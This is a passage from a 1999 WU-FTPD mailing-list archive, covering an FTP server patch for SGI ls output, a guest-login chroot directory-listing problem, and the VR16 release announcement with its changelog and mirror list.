Wed, 3 Mar 1999 15:36:41 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id PAA04021;
Wed, 3 Mar 1999 15:32:44 -0600 (CST)
Received: from info.census.gov (info.census.gov [148.129.129.10])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id PAA02297
for <[email protected]>; Wed, 3 Mar 1999 15:26:08 -0600 (CST)
Received: from localhost (dbadrak@localhost)
by info.census.gov (8.8.8/8.8.8) with SMTP id QAA05114;
Wed, 3 Mar 1999 16:26:06 -0500 (EST)
Message-Id: <[email protected]>
Date: Wed, 3 Mar 1999 16:26:05 -0500 (EST)
Reply-To: Don Badrak <[email protected]>
Sender: [email protected]
From: Don Badrak <[email protected]>
To: Bernhard Rosenkraenzer <[email protected]>
Cc: [email protected]
Subject: Re: onnet ftp client problem with beroftpd 1.3.3
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Bernhard,

(replying to my own post. I love that :-).

First, thanks for releasing a new version to handle the problem I ran into
with a specific client so quickly. I now have a nice little "commercial
support" gem to shove at the bozos here who don't like open source ;-)

On Wed, 3 Mar 1999, Don Badrak wrote:

> Bernhard,
>
> On Wed, 3 Mar 1999, Bernhard Rosenkraenzer wrote:
>
> > On Tue, 2 Mar 1999, Don Badrak wrote:
> >
> > > First time through I built it with the --enable-internal-ls and
> > > --enable-paranoid. This caused *me* problems with NcFTP, which no longer
> > > would do filename completion or multiple recursive gets (mget -R).
> > >
> > > I tracked that down to NcFTP sending a LIST -d command.
> >
> > True - LIST -d and -p are currently not implemented in the internal ls;
> > this will change some time soon.
>
> I guess I could just make the -d work and be done with it and use
> the internal ls.
>
> > > OnNet uses "LIST -lL". I've been able to track down as far in the
> > > BeroFTPD code that it is assuming whatever is after the space is a file,
> >
> > Not quite.
> > If you're using the internal ls,
> > LIST something
> > results in a call to ls(something,0), where "filenames" beginning with a
> > "-" are recognized. Currently, the options -l, -a and -R are supported,
> > all other options (such as -L) are silently ignored.
> > This shouldn't hurt anything (OnNet probably can't determine the size of
> > symlinks if -L is ignored, but that's all).
> >
> > If you aren't using the internal ls, BeroFTPD calls the external ls
> > command, passing the "filename" (including options) as options, which is
> > exactly the same thing base wu-ftpd does.
> > Did you make any changes to the external ls command in the directory
> > structure?

[ chop ]

> I don't know if this has anything to do with it.
>
> Shoot. I thought I described what the result was when using external-ls with
> OnNet's client. You see the home directory name. You see all the folders under
> that directory, but no filenames (all blank). The filename box (top box is
> directories, bottom is filenames) is also all blank, even though there are plenty
> of files there.
>
> I'm thinking that the server may be sending the data back to the client with some
> extraneous info and the client doesn't like it.

I did more digging. What it was doing was sending the "/bin/ls -lgA", but
the client was expecting output from "/bin/ls -lA". Or at least expecting
a username in front of the group. This would explain why the directories
were all blank. It used field 9, and there were only 8 fields.

It was doing this because the SVR4 macro was not defined. So I defined it
in CFLAGS when I ran configure. I've attached a small patch to ftpd.c to allow
the SGI to get picked up for the "/bin/ls -lA".

Also, to get the proper parameters for ps (in src/ftpcount.c), I had to also
define OLD_PS. You may want to consider putting these checks into autoconf
if you find an SGI.

Again, thanks a ton for the quick response.

--- src/ftpd.c.orig Wed Mar 3 16:01:59 1999
+++ src/ftpd.c Wed Mar 3 16:08:51 1999
@@ -1147,7 +1147,7 @@
}
} else {
#if defined(SVR4) || defined(ISC) || defined(sinix)
-#if defined(AIX) || defined(SOLARIS2)
+#if defined(AIX) || defined(SOLARIS2) || defined(__sgi)
strcpy(ls_long,"/bin/ls -lA");
#else
strcpy(ls_long,"/bin/ls -la");

Don
---
Don Badrak <[email protected]> 301.457.8263 work
Telecommunications Office 301.457.4438 fax
U.S. Bureau of the Census
Suitland MD, USA

From [email protected] Wed Mar 3 18:24:44 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id SAA12077;
Wed, 3 Mar 1999 18:24:43 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id SAA31406;
Wed, 3 Mar 1999 18:20:35 -0600 (CST)
Received: from emailsrv.viagate.com (firewall-viagate.idci.net [209.146.89.98])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id SAA13268
for <[email protected]>; Wed, 3 Mar 1999 18:18:00 -0600 (CST)
Received: from viagate.com (fanl.viagate.com [192.168.20.101])
by emailsrv.viagate.com (8.8.7/8.8.7) with ESMTP id TAA11559
for <[email protected]>; Wed, 3 Mar 1999 19:19:37 -0500
Message-Id: <[email protected]>
Date: Wed, 03 Mar 1999 19:16:12 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Lawrence Fan <[email protected]>
To: [email protected]
Subject: guest logins annot do "ls"
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I've setup a guest login named "motorola". Its /etc/passwd entry
is as follows:
motorola:x:10000:20000:Motorola ftp
access:/extra1/ftpguest/./motorola:/bin/bash

It belongs to the ftpguest group and ftpguest is setup as a guest group.

The following line is in the /etc/group file:
ftpguest:x:20000:

The /etc/ftpaccess file is as follows:
-------------------------------------------------
# cat /etc/ftpaccess
class all real,guest,anonymous *

email root@localhost

loginfails 5

readme README* login
readme README* cwd=*

message /welcome.msg login
message .message cwd=*

compress yes all
tar yes all
chmod no guest,anonymous
delete no guest,anonymous
overwrite no guest,anonymous
rename no guest,anonymous

log transfers anonymous,real inbound,outbound

shutdown /etc/shutmsg

passwd-check rfc822 warn

guestgroup ftpguest
-------------------------------------------------

The login "motorola" has no problem logging in and get or put
files but it cannot list the directory:

$ ftp ftpsrv
Connected to ftpsrv.viagate.com.
220 ftpsrv.viagate.com FTP server (Version wu-2.4.2-academ[BETA-18](1)
Mon Jan 18 22:33:28 EST 1999) ready.
Name (ftpsrv:lawf): motorola
331 Password required for motorola.
Password:
230 User motorola logged in. Access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
257 "/motorola" is current directory.
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
226 Transfer complete.
ftp> put hello
local: hello remote: hello
200 PORT command successful.
150 Opening BINARY mode data connection for hello.
226 Transfer complete.
18 bytes sent in 0 secs (0.018 Kbytes/sec)
ftp> put foo
local: foo remote: foo
200 PORT command successful.
150 Opening BINARY mode data connection for foo.
226 Transfer complete.
92 bytes sent in 0 secs (0.09 Kbytes/sec)
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
226 Transfer complete.
ftp> get hello
local: hello remote: hello
200 PORT command successful.
150 Opening BINARY mode data connection for hello (18 bytes).
226 Transfer complete.
18 bytes received in 0 secs (0.018 Kbytes/sec)
ftp> get foo
local: foo remote: foo
200 PORT command successful.
150 Opening BINARY mode data connection for foo (92 bytes).
226 Transfer complete.
92 bytes received in 0 secs (0.09 Kbytes/sec)
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
226 Transfer complete.
ftp> quit
221 Goodbye.

Please help me get my directory listing back. Thanks a million.

-------------------------------------------------------------------------
Lawrence Fan Phone: (908)595-6400
x3978
ViaGate Technologies Fax:
(908)595-6410
757 Route 202/206, Bridgewater, NJ 08807 E-mail:
[email protected]

From [email protected] Wed Mar 3 18:43:05 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id SAA12413;
Wed, 3 Mar 1999 18:43:04 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id SAA29948;
Wed, 3 Mar 1999 18:39:52 -0600 (CST)
Received: from aventurine.sge.net (aventurine.sge.net [152.91.14.25])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id SAA04720
for <[email protected]>; Wed, 3 Mar 1999 18:34:32 -0600 (CST)
Received: from titanium.sge.net ([email protected] [152.91.9.2])
by aventurine.sge.net (8.9.3/8.9.3) with ESMTP id LAA29835;
Thu, 4 Mar 1999 11:34:16 +1100 (EST)
Received: (from uucp@localhost)
by titanium.sge.net (8.8.5/8.8.5) id LAA20234;
Thu, 4 Mar 1999 11:34:15 +1100 (EST)
Received: from kryptonite.sge.net(10.1.2.11) by titanium.sge.net via smap (3.2)
id xma020001; Thu, 4 Mar 99 11:33:50 +1100
Received: from amber. (ice-int2.sge.net [10.1.2.254])
by kryptonite.sge.net (8.9.3/8.9.3) with SMTP id LAA04022;
Thu, 4 Mar 1999 11:33:50 +1100 (EST)
Message-Id: <[email protected]>
Date: Thu, 04 Mar 1999 11:32:40 +1100
Reply-To: [email protected]
Sender: [email protected]
From: James McMahon <[email protected]>
To: Lawrence Fan <[email protected]>, [email protected]
Subject: Re: guest logins annot do "ls"
References: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.06 [en] (WinNT; I)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Assuming that you are running wu-ftpd Beta 18 VR15 ....

With motorola being a guest, it is automatically chrooted to the users home
directory. At a rough guess you haven't correctly set up a chroot
environment, including a working version of ls and any library files
required, and hence /bin/ls is not able to list any files.

I believe there are entries in the FAQ on how to set up a chroot environment
if you need help with this.

Hope this helps,

James McMahon
[email protected]

Disclaimer: This is the first time I have posted advice to this list, so if
I managed to stuff it up, please be nice to me.

Lawrence Fan wrote:

> I've setup a guest login named "motorola". Its /etc/passwd entry
> is as follows:
> motorola:x:10000:20000:Motorola ftp
> access:/extra1/ftpguest/./motorola:/bin/bash
>
> It belongs to the ftpguest group and ftpguest is setup as a guest group.
>
> The following line is in the /etc/group file:
> ftpguest:x:20000:
>
> The /etc/ftpaccess file is as follows:
> -------------------------------------------------
> # cat /etc/ftpaccess
> class all real,guest,anonymous *
>
> email root@localhost
>
> loginfails 5
>
> readme README* login
> readme README* cwd=*
>
> message /welcome.msg login
> message .message cwd=*
>
> compress yes all
> tar yes all
> chmod no guest,anonymous
> delete no guest,anonymous
> overwrite no guest,anonymous
> rename no guest,anonymous
>
> log transfers anonymous,real inbound,outbound
>
> shutdown /etc/shutmsg
>
> passwd-check rfc822 warn
>
> guestgroup ftpguest
> -------------------------------------------------
>
> The login "motorola" has no problem logging in and get or put
> files but it cannot list the directory:
>
> $ ftp ftpsrv
> Connected to ftpsrv.viagate.com.
> 220 ftpsrv.viagate.com FTP server (Version wu-2.4.2-academ[BETA-18](1)
> Mon Jan 18 22:33:28 EST 1999) ready.
> Name (ftpsrv:lawf): motorola
> 331 Password required for motorola.
> Password:
> 230 User motorola logged in. Access restrictions apply.
> Remote system type is UNIX.
> Using binary mode to transfer files.
> ftp> pwd
> 257 "/motorola" is current directory.
> ftp> dir
> 200 PORT command successful.
> 150 Opening ASCII mode data connection for /bin/ls.
> 226 Transfer complete.
> ftp> put hello
> local: hello remote: hello
> 200 PORT command successful.
> 150 Opening BINARY mode data connection for hello.
> 226 Transfer complete.
> 18 bytes sent in 0 secs (0.018 Kbytes/sec)
> ftp> put foo
> local: foo remote: foo
> 200 PORT command successful.
> 150 Opening BINARY mode data connection for foo.
> 226 Transfer complete.
> 92 bytes sent in 0 secs (0.09 Kbytes/sec)
> ftp> dir
> 200 PORT command successful.
> 150 Opening ASCII mode data connection for /bin/ls.
> 226 Transfer complete.
> ftp> get hello
> local: hello remote: hello
> 200 PORT command successful.
> 150 Opening BINARY mode data connection for hello (18 bytes).
> 226 Transfer complete.
> 18 bytes received in 0 secs (0.018 Kbytes/sec)
> ftp> get foo
> local: foo remote: foo
> 200 PORT command successful.
> 150 Opening BINARY mode data connection for foo (92 bytes).
> 226 Transfer complete.
> 92 bytes received in 0 secs (0.09 Kbytes/sec)
> ftp> dir
> 200 PORT command successful.
> 150 Opening ASCII mode data connection for /bin/ls.
> 226 Transfer complete.
> ftp> quit
> 221 Goodbye.
>
> Please help me get my directory listing back. Thanks a million.
>
> -------------------------------------------------------------------------
> Lawrence Fan Phone: (908)595-6400
> x3978
> ViaGate Technologies Fax:
> (908)595-6410
> 757 Route 202/206, Bridgewater, NJ 08807 E-mail:
> [email protected]

From [email protected] Wed Mar 3 19:21:39 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id TAA13107;
Wed, 3 Mar 1999 19:21:38 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id TAA21956;
Wed, 3 Mar 1999 19:18:25 -0600 (CST)
Received: from smtp1.xs4all.nl (smtp1.xs4all.nl [194.109.6.51])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id TAA00862
for <[email protected]>; Wed, 3 Mar 1999 19:14:37 -0600 (CST)
Received: from grobbebol.xs4all.nl (grobbebol.xs4all.nl [194.109.14.68])
by smtp1.xs4all.nl (8.8.8/8.8.8) with ESMTP id CAA17334
for <[email protected]>; Thu, 4 Mar 1999 02:14:35 +0100 (CET)
Received: (from bengel@localhost)
by grobbebol.xs4all.nl (8.9.1/8.9.1) id BAA17967
for [email protected]; Thu, 4 Mar 1999 01:14:27 GMT
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 01:14:27 +0000 (GMT)
Reply-To: [email protected]
Sender: [email protected]
From: "Roeland Th. Jansen" <[email protected]>
To: [email protected]
Subject: ftpcount/ftpwho
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: ELM [version 2.4ME+ PL53 (25)]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

hi *,

both ftpcount and ftpwho don't show anyting if someone is logged in with
FTP. the version used is the latest Version wu-2.4.2-academ (1) with VR
patches IIRC.

does anyone have an idea ?

--
Grobbebol's Home | Don't give in to spammers. -o)
MCSE: Must Consult Someone Experienced | Use your real e-mail address /\
Linux 2.2.2 on an i586/64 MB | on Usenet. _\_v

From [email protected] Wed Mar 3 20:06:41 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id UAA13728;
Wed, 3 Mar 1999 20:06:40 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id UAA26308;
Wed, 3 Mar 1999 20:03:19 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id TAA10927
for <[email protected]>; Wed, 3 Mar 1999 19:57:43 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id UAA12065;
Wed, 3 Mar 1999 20:57:39 -0500
Message-Id: <[email protected]>
Date: Wed, 3 Mar 1999 20:57:38 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: ftpcount/ftpwho
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 4 Mar 1999, Roeland Th. Jansen wrote:

> both ftpcount and ftpwho don't show anyting if someone is logged in
> with FTP. the version used is the latest Version wu-2.4.2-academ (1)
> with VR patches IIRC.
>
> does anyone have an idea ?

beta-18-VR13 or later?

doesn't really matter. run ckconfig and see if the files are where the
programs expect them. check permissions and ownerships of the ftpaccess
and PID files.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 4 00:11:28 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id AAA17001;
Thu, 4 Mar 1999 00:11:27 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id AAA14907;
Thu, 4 Mar 1999 00:08:04 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id AAA12513
for <[email protected]>; Thu, 4 Mar 1999 00:04:52 -0600 (CST)
Received: (from lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) id BAA17828
for [email protected]; Thu, 4 Mar 1999 01:04:49 -0500
Message-Id: <[email protected]>
Date: Mon, 4 Mar 1999 01:00:00 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: WU-FTPD Discussion List <[email protected]>
Subject: [VR16] WU-FTPD-2.4.2-VR16 Released
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

WU-FTPD-2.4.2-VR16 is now available.

The VR updates for WU-FTPD include additional features requested over the
years by the user community and include a number of bug fixes for both the
base 2.4.2 release.

This update merges the changes from WU-FTPD 2.4.2 (Beta 18) to WU-FTPD
2.4.2 (Release) into the VR series.

These are available as both patches and pre-patched tarballs at:

ftp://ftp.vr.net/pub/wu-ftpd/

A current mirrors listing is available at:

fpt://ftp.vr.net/pub/wu-ftpd/MIRRORS

MD5 Package
--- -------
dfbe72dacd206024137841f5e10b6d1a wu-ftpd-2.4.2-vr16.tar.Z
c2ceee93041032939ae06371c8ae913e wu-ftpd-2.4.2-vr16.tar.gz

435b768e7295b9727fc144db9b870ac1 wu-ftpd-2.4.2-vr16.patch

If you take just the patch files, please remember: they are cumulative.
you cannot apply fixes from one set without earlier sets already having
been applied. The first set for BETA-18 is VR3; VR1 and VR2 were for
BETA-17 only. The first set for WU-FTPD-2.4.2 is VR16; VR3 through VR15
were for BETA-18 only. A patch set covering the changes from BETA-18-VR15
to VR16 is available in the attic directory.

Pre-compiled binaries for VR15 are available. Check the binaries directory
to see if a pre-compiled version is available for your platform. Since no
significant changes were made for VR16, there will be no binaries for it.

This is a list of fixes to BETA 18 with VR15 applied from [email protected]
---------------------------------------------------------------------------

WU-FTPD 2.4.2 FINAL RELEASE, FEBRUARY 26, 1999

If you missed it, it's because Stan Barber never announced it publicly.

These changes represent the differences from WU-FTPD-2.4.2-BETA-18 to the
released version, WU-FTPD-2.4.2.

This is the first release of WU-FTPD 2.4.2 with VR upgrades. Two patch
files are available for this VR update.

- wu-ftpd-2.4.2-vr16.patch
Contains all differences between 2.4.2 and 2.4.2-VR16.

- wu-ftpd-2.4.2-beta-18-vr16.patch
Contains the differences from 2.4.2-beta-18-vr15 to 2.4.2-vr16; this is
available in the attic at ftp.vr.net to document the actual changes for
this release.

---------------------------------------------------------------------------
TODO list renumbered to match Stan's 2.4.2 TODO list.

Documentation of unexpected behavior: upload no allowed directory creation.
doc/examples/ftpaccess.heavy update as an example of this behavior.
I believe this is NOT true for the VR versions, but have not tested as yet.

Documentation clarification for ftphosts, ftp or anonymous listed in the
file will disable anonymous ftp access.

Possible pointer overrun in acl.c parsing ftpaccess corrected.

Literal constant in ftpcmd.y changed to static to reduce program size.

ftpcount/ftpwho interpretation of start/stop times made to match the way
the daemon actually does it.

setproctitle() in ftpd.c updated to avoid a buffer overrun and handle low
memory conditions; SCO corrections.

Possible buffer overrun parsing 'virtual root' and 'virtual logfile'
corrected.

A timeout timer was being reset at the wrong point during STOR.

Corrections for Sun/Solaris paths in pathnames.h

Makefile for DEC/Unix (dec and du4) changed from cc -std1 to cc -std.

Correction in syslog support for DEC/Unix in support/syslog.c.

util/xferstats corrected to parse your local domain name rather than just
assuming you're academ.com.

Other changes are white-noise or simply for style and do not effect the
operation of the daemon in any way.

VR-specific changes
---------------------------------------------------------------------------
Reviewing the changes, I noted the makefile for hiu had a typo and would
not install two manpages. No other changes from VR15 were made.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

--

The following message is included in the WU-FTPD-2.4.2 package but
was never publicly posted to the WU-FTPD mailing lists.

---------- Forwarded message ----------
From: [email protected] (Stan Barber)
Subject: Academ version of wu-ftpd 2.4 Release 2 is available
To: [email protected],[email protected]

Release 2 is now available. It has been tested on the following systems:

BSD/OS 3.1
BSDI BSD/386 1.1
FreeBSD 2.2.7-RELEASE
Slackware Linux 96 (3.1)
Slackware Linux 3.3
Redhat Linux 5.1
Redhat Linux 5.2
SCO Open Server 5
Solaris 2.4 x86 (gcc 2.7.2.1)
Solaris 2.5.1 x86 (gcc 2.7.2.3)
Solaris 2.5.1 sparc (SunC 3.0.1)
Solaris 2.6 sparc (SunC 3.0.1)
Solaris 2.6 sparc (gcc 2.7.2.3)
Solaris 2.6 x86 (gcc 2.7.2.3)
SunOS 4.1.4 sparc (bundled cc)
UnixWare 2.1.1

If hardware companies wish to donate equipment running their proprietary
UNIX derivatives to me for doing maintenance work on this and the other
packages I maintain (NNTP, RN, etc), please contact me directly to discuss.

If software companies that sell UNIX derivatives I don't to which I don't
have access wish to donain copies of their UNIX derivative to me for the
purposes of doing maintenace work on this and the other packages I maintain,
please contact me directly to discuss.

This version is the final release.

The location is:
ftp://ftp.academ.com/pub/wu-ftpd/wu-ftpd-2.4.2.tar.Z

You can also check http://www.academ.com/academ/wu-ftpd for more information.

-------------------------------------------------------------------------------
The major fix in this release is to address the problems referred to in CERT
Advisory CA-99-03-FTP-Buffer-Overflows. This involved fixes to the real_path
subroutine as well as changes in the size of the buffers used when calling
this routine.
------------------------------------------------------------------------------
Some changes were made to address some problem compiling on Digital Unix
that were provided by Reiner Dassing. As I have no access to this operating
system, I can't be sure they do anything useful, but they are there none
the less.
------------------------------------------------------------------------------
Jeff Laing provide a fix to help address a precedence problem involving the
PORT command.
------------------------------------------------------------------------------
Ian Willis offered a number of fixes. Those are included in this version:
o fixed a memory allocation/free problem in acl.o
o fixed some remaining problems in the proctitle subroutines
o fixed some documentation problems in the manual pages
o fixed an off-by-one problem in ftpcount.c
o fixed a bug in getaclentry so that previously defined values are
not reused
o fixed a problem in the receive_data subroutine
------------------------------------------------------------------------------

From [email protected] Thu Mar 4 00:12:27 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id AAA17016;
Thu, 4 Mar 1999 00:12:26 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id AAA14540;
Thu, 4 Mar 1999 00:09:11 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id AAA08272
for <[email protected]>; Thu, 4 Mar 1999 00:04:56 -0600 (CST)
Received: (from lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) id BAA17831
for [email protected]; Thu, 4 Mar 1999 01:04:50 -0500
Message-Id: <[email protected]>
Date: Mon, 22 Feb 1999 12:00:00 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: WU-FTPD Discussion List <[email protected]>
Subject: VR mirrors
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

The VR updates for WU-FTPD include additional features requested over the
years by the user community and includes a number of bug fixes for both the
base 2.4.2 (beta-18) release and earlier VR updates.

The primary distribution site for these updates is:

ftp://ftp.vr.net/pub/wu-ftpd/

Mirrors are available at the following sites:

Austria
-------
ftp://gd.tuwien.ac.at/infosys/servers/ftp/wu-ftpd/
http://gd.tuwien.ac.at/infosys/servers/ftp/wu-ftpd/

Canada
------
ftp://ftp.crc.ca/pub/packages/ftp/servers/wuarchive-ftpd-vr/

Hungary
-------
ftp://ftp.ahol.com/pub/mirrors/wu-ftpd/

Israel
------
ftp://ftp.tau.ac.il/pub/unix/ftp/wu-ftpd/VR/

Japan
-----

Ring Server Project
-------------------
ftp://ftp.ring.gr.jp/pub/net/wu-ftpd/
http://www.ring.gr.jp/archives/net/wu-ftpd/

ftp://ring.aist.go.jp/pub/net/wu-ftpd/
http://ring.aist.go.jp/archives/net/wu-ftpd/

ftp://ring.asahi-net.or.jp/pub/net/wu-ftpd/
http://ring.asahi-net.or.jp/archives/net/wu-ftpd/

ftp://ring.so-net.ne.jp/pub/net/wu-ftpd/
http://ring.so-net.ne.jp/archives/net/wu-ftpd/

ftp://ring.nacsis.ac.jp/pub/net/wu-ftpd/
http://ring.nacsis.ac.jp/archives/net/wu-ftpd/

ftp://ring.etl.go.jp/pub/net/wu-ftpd/
http://ring.etl.go.jp/archives/net/wu-ftpd/

Other Japan sites
-----------------
ftp://ftp.win.ne.jp/pub/network/wu-ftpd/

ftp://mirror.nucba.ac.jp/mirror/wu-ftpd/
http://mirror.nucba.ac.jp/mirror/wu-ftpd/

ftp://ftp.cin.nihon-u.ac.jp/pub/net/ftp/wu-ftpd-vr/

Sweden
------
ftp://ftp.sunet.se/pub/nir/ftp/servers/wuarchive-ftpd-vr/
http://ftp.sunet.se/pub/nir/ftp/servers/wuarchive-ftpd-vr/

Switzerland
-----------
ftp://sunsite.cnlab-switch.ch/mirror/wu-ftpd-vr/

United Kingdom
--------------
ftp://sunsite.org.uk/Mirrors/ftp.vr.net/pub/wu-ftpd/
http://sunsite.org.uk/Mirrors/ftp.vr.net/pub/wu-ftpd/

ftp://ftp.ox.ac.uk/pub/comp/security/COAST/mirrors/ftp.vr.net/

If you run a mirror and would like it listed above, just send me the URL.
Unless your local policy requires it, there is no need to ask my permission
to mirror the primary distribution site. I do like knowing who is
mirroring, though.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 4 00:59:28 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id AAA17408;
Thu, 4 Mar 1999 00:59:28 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id AAA01666;
Thu, 4 Mar 1999 00:54:36 -0600 (CST)
Received: from mail-atm.nycap.rr.com ([email protected] [24.92.32.1])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id AAA21878
for <[email protected]>; Thu, 4 Mar 1999 00:46:50 -0600 (CST)
Received: from yua2 (cisco-56-184.nycap.rr.com [24.92.56.184])
by mail-atm.nycap.rr.com (8.9.1/8.9.1) with SMTP id BAA29946;
Thu, 4 Mar 1999 01:46:39 -0500 (EST)
Message-Id: <[email protected]>
Date: Thu, 04 Mar 1999 01:48:34 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Alex Yu <[email protected]>
To: [email protected], WU-FTPD Discussion List <[email protected]>
Subject: Re: [VR16] WU-FTPD-2.4.2-VR16 Released
In-Reply-To: <[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

At 01:00 AM 1999/3/4 -0500, Gregory A Lundberg wrote:

>These are available as both patches and pre-patched tarballs at:
> ftp://ftp.vr.net/pub/wu-ftpd/

Trying to connect, but doesn't work. Is there any changes on ftpaccess?

Alex

From [email protected] Thu Mar 4 01:15:41 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id BAA17544;
Thu, 4 Mar 1999 01:15:40 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id BAA24434;
Thu, 4 Mar 1999 01:12:29 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id BAA05234
for <[email protected]>; Thu, 4 Mar 1999 01:07:45 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id CAA20020
for <[email protected]>; Thu, 4 Mar 1999 02:07:43 -0500
Message-Id: <[email protected]>
Date: Thu, 4 Mar 1999 02:07:43 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: WU-FTPD Discussion List <[email protected]>
Subject: [VR16] Oops, rerolled.
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

The first attempt was built with an error. The corrected files are now
available. The new MD5 sums are:

MD5 Package
--- -------
6b31b33b76bb414663ed37693b4b32bd wu-ftpd-2.4.2-vr16.tar.Z
951932d2452eae4044c51a555549bb35 wu-ftpd-2.4.2-vr16.tar.gz

7d035f8b3fb4bee116e5f995ce5c5beb wu-ftpd-2.4.2-vr16.patch

Corrected sizes and times are:

644162 Mar 4 01:46 wu-ftpd-2.4.2-vr16.patch
385769 Mar 4 01:46 wu-ftpd-2.4.2-vr16.tar.Z
247056 Mar 4 01:46 wu-ftpd-2.4.2-vr16.tar.gz

I appologize for the inconvenience; the two people who downloaded bad
copies should freshen their downloads.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 4 01:17:39 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
